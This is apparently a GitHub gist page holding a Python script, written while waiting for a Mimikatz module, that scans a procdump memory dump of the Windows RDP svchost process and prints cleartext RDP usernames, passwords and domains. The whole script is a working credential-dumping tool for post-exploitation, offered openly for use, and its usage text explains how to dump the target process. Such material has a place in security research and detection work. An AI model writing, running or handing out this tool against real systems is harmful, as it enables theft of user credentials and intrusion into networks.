Skip to content

Instantly share code, notes, and snippets.

@k4nfr3
Last active May 20, 2021 07:59
Show Gist options
  • Star 2 You must be signed in to star a gist
  • Fork 1 You must be signed in to fork a gist
  • Save k4nfr3/ca2c392572da645661b62f9a71f28ba3 to your computer and use it in GitHub Desktop.
Save k4nfr3/ca2c392572da645661b62f9a71f28ba3 to your computer and use it in GitHub Desktop.
Quick python script to analyse mem dump and extract RDP clear passwords while waiting for Mimikatz to integrate it as a module
import re
from collections import namedtuple
import sys
# Clear text password recovery from mem dump as found by @jonasLyk Tweet : https://twitter.com/jonasLyk/status/1393058962942083076
# borrowed python code from Willi Ballenthin -> https://gist.github.com/williballenthin/8e3913358a7996eab9b96bd57fc59df2
# code inspired by @gentilkiwi 's video
# This is for those who like me wanted to play with this discovery a little and dirty python3 script while waiting to see another module in the great mimikatz tool
# I'm no dev so PR and constructive remarks are welcome
ASCII_BYTE = rb" !\"#\$%&\'\(\)\*\+,-\./0123456789:;<=>\?@ABCDEFGHIJKLMNOPQRSTUVWXYZ\[\]\^_`abcdefghijklmnopqrstuvwxyz\{\|\}\\\~\t"
RDP_Strings = ['RDPDD', 'RDV::RDP::NetDetect::BandwidthChange'] #Server 2008 and Server 2016 tested only
String = namedtuple("String", ["s", "offset"])
def ascii_strings(buf, n=4):
reg = rb"([%s]{%d,})" % (ASCII_BYTE, n)
ascii_re = re.compile(reg)
for match in ascii_re.finditer(buf):
yield String(match.group().decode("ascii"), match.start())
def unicode_strings(buf, n=4):
reg = rb"((?:[%s]\x00){%d,})" % (ASCII_BYTE, n)
uni_re = re.compile(reg)
for match in uni_re.finditer(buf):
try:
yield String(match.group().decode("utf-16"), match.start())
except UnicodeDecodeError:
pass
def getdomain(buf):
return buf.decode("UTF-16)")
def banner():
print(' _____ ____ _____ _ ')
print('| __ | \| _ | ___| |___ ___ ___ ')
print('| -| | | __| | _| | -_| .\'| _|')
print('|__|__|____/|__| _____|___|_|___|__,|_| ')
print(' |_____| ')
def main():
import sys
SVCHOST = False
Last1 = ""
Last2 = ""
Last3 = ""
SERVERNAME=""
with open(sys.argv[1], 'rb') as f:
b = f.read()
for s in ascii_strings(b, n=4):
if format(s.s).find("svchost.exe -k termsvcs")!=-1:
print('[*] Analyse of dump of process : {:s}'.format( s.s))
SVCHOST = True
if format(s.s).find("COMPUTERNAME=")!=-1:
#print('[+] SERVERNAME : ' +s.s[13:])
SERVERNAME=s.s[13:]
break
if (SVCHOST):
print("\n")
for s in unicode_strings(b):
#print('[+] {:d} 0x{:d}: {:s}'.format(0,s.offset, s.s))
if s.s in RDP_Strings:
if (s.offset - Last1.offset) < 3000:
if (Last1.offset-Last2.offset==512):
#print('[+] User :{:d} 0x{:d}: {:s}'.format((s.offset - Last2.offset), Last2.offset, Last2.s))
print('[+] User : \t{:s}'.format(Last2.s))
#print('[+] Password : {:d} 0x{:d}: {:s}'.format((s.offset - Last1.offset), Last1.offset, Last1.s))
print('[+] Password : \t{:s}'.format(Last1.s))
if ((Last2.offset-Last3.offset) == 512) :
print('[+] Domain : \t{:d} 0x{:d}: {:s}'.format((s.offset - Last3.offset), Last3.offset, Last3.s))
break
else:
# bug in case string is less than 4 char
domain = b[Last2.offset-512:Last2.offset]
if getdomain(domain).strip('\x00')!="":
print('[+] Domain : \t{:s}'.format(getdomain(domain)))
else: # can be empty, then it's local
print("[+] ServerName : \t"+SERVERNAME)
break
Last3=Last2
Last2=Last1
Last1=s
else:
print(sys.argv[1] + " doesn't seem to be a svchost dump file")
if __name__ == "__main__":
banner()
if len(sys.argv) != 2:
print("\n\nDump svchost process which listens to port 3389 port with any procdump tool")
print("")
print("Usage: " + sys.argv[0] + " svchost.dmp")
exit(0)
main()
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment